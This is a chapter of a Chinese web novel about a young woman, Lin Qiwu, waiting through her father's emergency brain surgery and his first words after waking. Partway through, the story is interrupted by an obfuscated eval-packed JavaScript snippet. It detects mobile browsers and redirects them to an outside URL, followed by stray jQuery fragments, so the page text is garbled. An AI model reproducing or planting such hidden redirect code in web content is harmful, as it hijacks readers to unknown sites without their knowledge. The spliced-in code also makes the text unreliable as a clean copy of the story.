暴雨倾盆，天色沉如午夜。
“您好，请问林徵在哪间手术室？我是他的家属。”市中心医院急诊大楼内，林栖雾穿过混乱嘈杂的大厅，冲到分诊台前。她的身体微微倚靠着冰冷的台面，几乎要站不住。
“林徵是吧？”值班护士抬眼看了看她，手指在键盘上快速敲击，“四楼上去左转第一间。”
走廊里灯光惨白，弥漫着消毒水特有的刺鼻气味。手术室大门紧闭，门上亮着刺眼的红灯。
林栖雾脚步钉在原地，只觉得被暴雨淋湿而渗进身体的寒气，从脚底直冲头顶。她慢慢挪到椅子上坐下，心口一阵阵发紧，几乎喘不上气。
她用力攥着自己冰凉的指尖，指甲深深掐进掌心，试图用这点微不足道的痛楚压住心底渗出的恐慌。
……爸，你一定要平安无事。
包里的手机突然嗡嗡震动。林栖雾机械地摸出来，她指尖冰凉湿滑，划了好几次才接通。
“喂？栖雾？”梁知砚温和清润的声音带着一丝长途飞行后的微哑，“我刚落地，面试还顺利吗？现在是回学校了……还是和林叔叔在一起？”
几滴雨水顺着她鬓角的发丝滑落，林栖雾张了张嘴，她想告诉男友她很害怕，面试也没有那么顺利。话到了嘴边，却硬生生拐了个弯，变成了一声极力压抑、带着细微颤音的“嗯”。
“挺……挺顺利的。”她清了清嗓子，声音努力拔高，试图听起来轻松一点，“面试官说……说回头通知我。”她顿了一下，几乎是耗尽了所有力气才问出下一句，声音又低了下去，“你……这几天能回港城吗？”
电话那头传来梁知砚拖着行李箱快步行走的声音，他语气依旧温柔：“顺利就好！我知道你一定没问题。”
“栖雾，这次内地项目收尾有点拖，再等我几天好不好？我妈咪最近很记挂你，後晚我返港順路車你，一齊食餐飯？（后天晚上我回港顺路接你，咱们一起吃个饭？）”
那盏“手术中”的红灯，像一只冷酷的眼睛，漠然地俯瞰着少女此刻的挣扎。她咬住已经泛白的下唇，勉强稳住嗓音：“嗯……好啊……我等你。”
“乖，你这两天好好休息，等我回来。”梁知砚的声音带着笑意，匆匆叮嘱几句便挂了电话。
林栖雾握着冰冷的手机，久久没有放下。随后，她蜷起身体，把脸深深埋进膝盖里。推车的轮子声、护士的呼喊声、家属的啜泣声……一切都像是隔着一层厚厚的毛玻璃，模糊而遥远。
不知过了多久，她的肩膀被人轻轻拍了一下，林栖雾下意识地站起身来，来人却并不是医生。
“栖雾姐！你一直在这儿守着，吃点东西吧。”文文大口喘着气，忍不住吐槽，“天呐，这个点餐厅都关门了！我跑了两公里才找到便利店。”
她麻利地从袋子里掏出还温热的粥盒，还有几袋包装朴素的面包，“多少喝点粥垫垫肚子。人是铁饭是钢，叔叔还在里面，你可不能先垮了！”
林栖雾抬起干涩发红的眼眸，胃里沉甸甸的，没有一丝食欲。她勉强撑起微笑，回应文文的好意：“文文，谢谢你。我真的……吃不下。”她声音哑得厉害，像是磨皱的砂纸，“你也忙了一天，快回去吧。我在这儿守着就行。”
“栖雾姐，就算不考虑自己，还有林叔叔呢。”文文语气坚决，直接把打开的粥盒塞到少女手里，带着点平时处理乐团事务的干练劲儿。
林栖雾拗不过文文的坚持，也实在没有力气再推拒。她舀了一小勺寡淡的白粥含进唇中，温热的米汤滑过干涩的喉咙，带来一丝暖意。
她机械地、小口小口地吞咽着米粥。
文文又絮絮叨叨地安慰了她一阵，说林徵身体底子好，肯定能挺过来。
最终，在反复确认她一个人可以、并答应一有消息立刻通知后，才一步三回头地离开。
……
夜更深了。
指针和分针几乎重叠之时，手术室紧闭的的门，终于无声滑开。
意识已经有些模糊的少女浑身一激灵，猛地从椅子上弹了起来。她死死盯着门口，看着穿着绿色手术服的医生率先走了出来，摘下沾着血污的口罩，脸上带着浓重的疲惫。
“林徵的家属？”医生目光扫过空旷的等候区后，朝她确认。
“是，我是他女儿。”林栖雾声音蓦然紧绷，尾音有些发颤，“医生，我爸……他怎么样？”
他看着少女那双写满恐惧和祈求的眼睛，放缓了语气：“手术过程比较长，中间一度有些凶险，不过……”他顿了顿，给了林栖雾一个安抚的眼神，“有惊无险，暂时脱离生命危险了。你父亲很坚强，挺过来了。”
“暂时……脱离危险？”林栖雾喃喃重复着。
“对，手术本身是成功的，清除了大部分压迫脑组织的血块。”医生点点头，随即神色凝重起来。
“但是，”他加重了语气，目光直视，“颅腔里靠近脑干的位置，还有一小片淤血区域。位置太深，太敏感，倚靠国内现有的技术手段，我们不敢贸然动它。”
“医生……您的意思是？”她呼吸瞬间屏住，艰难开口。
“保守治疗，观察一段时间，希望淤血能自行吸收一部分，这是最好的情况。”医生叹了口气，“但风险很大。这片淤血就像不稳定的炸弹，一旦它再发生移位或者增大，压迫到关键区域……”
他没有把话说完，但话语里的停顿和未尽之意，足以让林栖雾浑身冰凉，“我们建议，等病人情况稳定一些，最好三个月内，去国外找顶尖的神经外科团队做开颅手术，清除干净。否则——”
医生再次停顿，摇了摇头，“生命危险依然存在，而且随时可能发生。”
“谢谢医生……我了解了。”
她下意识地扶住了旁边的椅背，才稳住摇摇欲坠的身体。
时间模糊而缓慢。
林栖雾一路小跑着跟在病床旁边，眼睛一眨不眨地盯着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812539|175311||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父亲枯黄的脸，直到进入安静的单间病房。
她就坐在病床边的椅子上，看着护士进进出出，调整仪器，更换点滴，听着心电监护仪规律而单调的嘀嗒声，脑子里却反复回响着医生刚才的话。
夜色依旧浓重如墨，直到天边泛起一层鱼肚白。
手机在她口袋里突兀地震动起来，是一条陌生的短信。
［林栖雾小姐，恭喜您顺利通过我院的最终面试！请您于明日上午九点，携带相关证件到人事部办理入职手续。］
林栖雾握着手机，一时竟有些恍惚。这原本是她期盼已久、全力以赴争取的机会。可当它真的降临在这个时刻，喜悦却像是被无形的屏障阻隔了，变得遥远而不真切。
病房里依旧安静，只有仪器规律的嘀嗒声和林徵略显粗重的呼吸声。
她默默地把手机调成静音，放回口袋。指尖触到冰冷的屏幕，那点虚幻的喜悦彻底弥散。
……
林徵眼皮颤动了几下，终于缓缓睁开了眼睛。视线有些模糊，他适应了好一会儿，才聚焦到床边的人影上。
他喉咙里发出干涩沙哑的音节，带着氧气面罩，声音含混不清。
“爸！你醒了？”林栖雾立刻倾身过去，嗓音带着惊喜和后怕，“感觉怎么样？头疼不疼？有没有哪里不舒服？”她小心翼翼地避开父亲头上厚厚的纱布，想碰触又不敢，手指无措地悬在半空。
林徵的目光缓慢地移动，落在女儿脸上。那张衰弱的脸庞写满疲惫，眼睛下面一片青黑，嘴唇也有些干裂起皮。
他费力地抬起没有输液的那只手，极其缓慢地，拍了拍林栖雾搁在床沿的手背。
“没……事……”他艰难吐出两个字，浑浊的目光仔细端详着女儿憔悴的脸，尤其是她眉宇间那抹挥之不去的愁色。他太了解自己的女儿了，她从小就不是个藏得住心事的孩子。
他嘴唇翕动着，氧气面罩上蒙上一层更浓的白雾，“囡仔……告诉阿爸……是不是……受……受委屈了？”
林栖雾的心口猛地一揪，她下意识地想摇头否认，想扯出一个笑容告诉父亲一切都好，却倏地哽住，一时竟不知如何开口。
林徵闭了闭眼，似乎在积蓄一点力气。过了片刻，他才重新睁开，眼神里带着一种近乎执拗的恳切：“……阿爸……这辈子……没……什么大出息……就……就守着这点……祖宗传下来的……老调子……”
他喘得厉害，胸口起伏着。林栖雾连忙俯低身体凑近父亲，话语浸着哭腔：“爸，您别说话了，先休息。”
林徵却固执地摇了摇头，眼神牢牢锁住她：“听……阿爸说……我就盼着……你能……有个好归宿……别……别像我……”
他停住，大口喘着气，额头上渗出细密的冷汗，却依旧执着地盯着女儿，那是一种近乎悲凉的嘱托：“别……别被我……牵绊住……你……要往前走……”
“别被我牵绊住，你要往前走。”